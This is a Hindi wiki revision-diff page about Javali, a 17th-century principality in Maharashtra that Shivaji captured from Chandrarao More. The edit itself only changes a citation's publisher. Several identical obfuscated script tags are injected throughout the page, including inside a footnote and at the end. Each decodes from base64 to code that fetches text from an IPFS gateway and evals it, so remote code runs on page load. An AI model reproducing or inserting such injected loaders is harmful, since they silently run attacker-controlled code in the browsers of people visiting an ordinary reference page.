"जावली" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''जावली''' महाराष्ट्र में 17वीं शती की एक छोटी-सी रिया...' के साथ नया पन्ना बनाया)
 
 
पंक्ति 1: पंक्ति 1:
'''जावली''' [[महाराष्ट्र]] में 17वीं शती की एक छोटी-सी रियासत थी, जो [[बीजापुर]] के सुल्तान के अधिकार क्षेत्र में थी। जावली या 'जावला' का प्रांत कोयना नदी की घाटी में [[महाबलेश्वर]] के ठीक नीचे स्थित था। यह एक [[तीर्थ स्थान]] के रूप में भी प्रसिद्ध था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=365|url=}}</ref>
+
'''जावली''' [[महाराष्ट्र]] में 17वीं शती की एक छोटी-सी रियासत थी, जो [[बीजापुर]] के सुल्तान के अधिकार क्षेत्र में थी। जावली या 'जावला' का प्रांत कोयना नदी की घाटी में [[महाबलेश्वर]] के ठीक नीचे स्थित था। यह एक [[तीर्थ स्थान]] के रूप में भी प्रसिद्ध था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=वैज्ञानिक तथा तकनीकी शब्दावली आयोग, मानव संसाधन विकास मंत्रालय, भारत सरकार|संकलन= |संपादन= |पृष्ठ संख्या=365|url=}}</ref>
  
 
*[[छत्रपति शिवाजी]] के समय जावली का राजा चंद्रराव मोरे था।
 
*[[छत्रपति शिवाजी]] के समय जावली का राजा चंद्रराव मोरे था।

10:59, 17 जून 2013 के समय का अवतरण

जावली महाराष्ट्र में 17वीं शती की एक छोटी-सी रियासत थी, जो बीजापुर के सुल्तान के अधिकार क्षेत्र में थी। जावली या 'जावला' का प्रांत कोयना नदी की घाटी में महाबलेश्वर के ठीक नीचे स्थित था। यह एक तीर्थ स्थान के रूप में भी प्रसिद्ध था।[1]

  • छत्रपति शिवाजी के समय जावली का राजा चंद्रराव मोरे था।
  • चंद्रराव मोरे बीजापुर के सुल्तान अली आदिलशाह द्वितीय के षड्यंत्र में सम्मिलित होकर शिवाजी को पकड़ना चाहता था, किंतु उसके पहले की 'महाराष्ट्र केसरी' शिवाजी ने 1656 ई. में चंद्रराव मोरे को मारकर जावली पर अपना अधिकार कर लिया।
  • जावली से शिवाजी को बहुत-सा धन मिला, जिससे उन्होंने प्रतापगढ़ क़िले का निर्माण करवाया।
  • महाकवि भूषण ने 'शिवाबावनी'[2] में उपर्युक्त ऐतिहासिक घटना पर प्रकाश डाला है-

‘चन्द्रावल चूर करि जावली जपत कीन्ही’


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: वैज्ञानिक तथा तकनीकी शब्दावली आयोग, मानव संसाधन विकास मंत्रालय, भारत सरकार |पृष्ठ संख्या: 365 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. शिवाबावनी 28

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>